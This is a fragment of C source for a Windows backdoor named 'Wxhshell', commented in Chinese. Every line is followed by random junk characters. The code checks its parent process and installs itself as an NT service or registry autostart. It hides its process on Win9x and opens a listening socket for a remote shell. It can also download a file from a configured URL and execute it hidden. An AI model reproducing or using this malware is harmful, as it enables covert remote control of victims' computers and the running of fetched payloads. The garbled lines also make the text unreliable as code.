ULONG InheritedFromUniqueProcessId; Y[S1$(K&*
} PROCESS_BASIC_INFORMATION; >@AB<$A
4v|W-h"K
PROCNTQSIP NtQueryInformationProcess; u>/ TE
\5cpFj5%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }4S6Xe
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A.w:h;7
Dn }Jxu'(
HANDLE hProcess; 2dgd~
PROCESS_BASIC_INFORMATION pbi; 4nz 35BLr
C2)2)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YT8F#t8
if(NULL == hInst ) return 0; ;ovP$ vl>
gv{ >`AN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &
"B=/-(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jpo(Wl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D7qOZlX16
:P=(k2
if (!NtQueryInformationProcess) return 0; FNId;
mlS$>O_aX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?b5^
if(!hProcess) return 0; !$>R j
Nl(Foya%)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VOh4#%Vj
$xdy&
CloseHandle(hProcess); y L~W.H
d8x;~RA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?@
$r
if(hProcess==NULL) return 0; `pZm?}K
fLAw12;^
HMODULE hMod; ;P&OX5~V
char procName[255]; N$:8,9.z
unsigned long cbNeeded; w"&n?L
eGbGw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @gXx1hEg
b*Q&CL
CloseHandle(hProcess); GNJj=1Lsd
R_S.tT!
if(strstr(procName,"services")) return 1; // 以服务启动 ]:/Q]n^
01(AK% e
return 0; // 注册表启动 $a ` G
} <yg F(
&XUiKnNW
// 主模块 tIS<U(N;
int StartWxhshell(LPSTR lpCmdLine) QnX(V[
{ *EwR!L*
SOCKET wsl; 0S$N05
BOOL val=TRUE; =zs`#-^8
int port=0; t9IW/Q
struct sockaddr_in door; 57'4ljvYi
v1,oilL
if(wscfg.ws_autoins) Install(); gr-OHeid
@49S`
port=atoi(lpCmdLine); 0Pi:N{x8
&~U ] ~;@
if(port<=0) port=wscfg.ws_port; .Rf_Cl
tcog'nAz
WSADATA data; y Fq&8 x<X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;@E$}*3[>V
LvYB7<zk>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -!]ZMi9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4#hSJ(~7S
door.sin_family = AF_INET; cDkf qcC
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dzrio-QU~
door.sin_port = htons(port); r^ ZEImjc
D=&Me=$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZO$%[ftb
closesocket(wsl); jsi!fx2Rm
return 1; Q>1[JW{$}
} KL Xq\{X
5bpEYW+
if(listen(wsl,2) == INVALID_SOCKET) { R<N
]B
closesocket(wsl); |*tp16+6
return 1; k~
/Nv=D
} Aj]V`B:65
Wxhshell(wsl); FH+s s!
WSACleanup(); \v)+.m?n
R@k&SlL'`
return 0; "kgdbAZ
[QT#Yf0
} i@M[>~
Y,zxbXZv'5
// 以NT服务方式启动 q{;:SgZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
c=.(!qdH
{ l0A&9g*l2
DWORD status = 0; QGmn#]w\\
DWORD specificError = 0xfffffff; SS.dY""89
<B8!.|19
serviceStatus.dwServiceType = SERVICE_WIN32; 0b(N^$js'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; K:30_l<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OX\F~+
serviceStatus.dwWin32ExitCode = 0; ;q6Ki.D
serviceStatus.dwServiceSpecificExitCode = 0; bhlG,NTP
serviceStatus.dwCheckPoint = 0; l"]}Ts#
serviceStatus.dwWaitHint = 0; P3 ^Y"Pv?
p,i[W.dy.'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jPW#(3hoE
if (hServiceStatusHandle==0) return; d)f :)Ew
"o}+Ciul
status = GetLastError(); =P
#]
if (status!=NO_ERROR) 3
xp)a%=7
{ pr UM-u8
serviceStatus.dwCurrentState = SERVICE_STOPPED;
t[
C/
serviceStatus.dwCheckPoint = 0; x>`%DwoRI
serviceStatus.dwWaitHint = 0; r<Kx0`y
serviceStatus.dwWin32ExitCode = status; 3HY9\'t6
serviceStatus.dwServiceSpecificExitCode = specificError; O55 xS+3^k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !5uGd`^I
return; cJ
@Wt>YI
} t"/q]G5
l$bu%SZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; #';:2Nyq
serviceStatus.dwCheckPoint = 0; K?$^@N
serviceStatus.dwWaitHint = 0; ** G9H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {8,J@9NU
} hv_XP,1K
aM0f/"-_
// 处理NT服务事件,比如:启动、停止 +@iA;2&
VOID WINAPI NTServiceHandler(DWORD fdwControl) /HRFAqep
{
n$,*|_$#
switch(fdwControl) zi*R`;_`,
{ naznayy
case SERVICE_CONTROL_STOP: .$)
serviceStatus.dwWin32ExitCode = 0; 2Ny"O.0h
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7,9=uk>0\
serviceStatus.dwCheckPoint = 0; WKa~[j|-K
serviceStatus.dwWaitHint = 0; R/>@+
{ PxkOT*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQ$%H>{
} +-CtjhoS
return; 2n"V}p>8i#
case SERVICE_CONTROL_PAUSE: |T)6yDL
serviceStatus.dwCurrentState = SERVICE_PAUSED; :^3LvPM
break; g0ly
case SERVICE_CONTROL_CONTINUE: i3'9>"`
serviceStatus.dwCurrentState = SERVICE_RUNNING; @xYlS5{
break; k4y'b
case SERVICE_CONTROL_INTERROGATE: 5>N2:9We
break; D#JL!A%O
}; !LN?PKJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s'J:f$flS
} g:Xhw$x9
AvV|(K"
// 标准应用程序主函数 'AEE[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 56-dD5{hxR
{ xCl1g4N
p hzKm9
// 获取操作系统版本 !Bq3Z?xA}
OsIsNt=GetOsVer(); {w^+\]tC
GetModuleFileName(NULL,ExeFile,MAX_PATH); +8d1|cB"
vbe|hO""
// 从命令行安装 6?~"V
if(strpbrk(lpCmdLine,"iI")) Install(); #O}
,`[<
0-yp,G
// 下载执行文件 z]`k#O%%)
if(wscfg.ws_downexe) { HqD^B[jS
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <oA7'|Bu<
WinExec(wscfg.ws_filenam,SW_HIDE); I5n^,@md
} |My4SoOF
WQL\y3f5
if(!OsIsNt) { !SdSE^lz`
// 如果时win9x,隐藏进程并且设置为注册表启动 E+g@M8D
HideProc(); E3gh?6
StartWxhshell(lpCmdLine); Tl[!=S
} v4c[(&
else P?B;_W+~A.
if(StartFromService()) T@&K-UQ
// 以服务方式启动 Rww{:R
StartServiceCtrlDispatcher(DispatchTable); 'yG4
LF
else o{q{!7DH@
// 普通方式启动 .ndCfdy~
StartWxhshell(lpCmdLine); 22M1j5
aYS!xh206
return 0; 2:7zG"$
}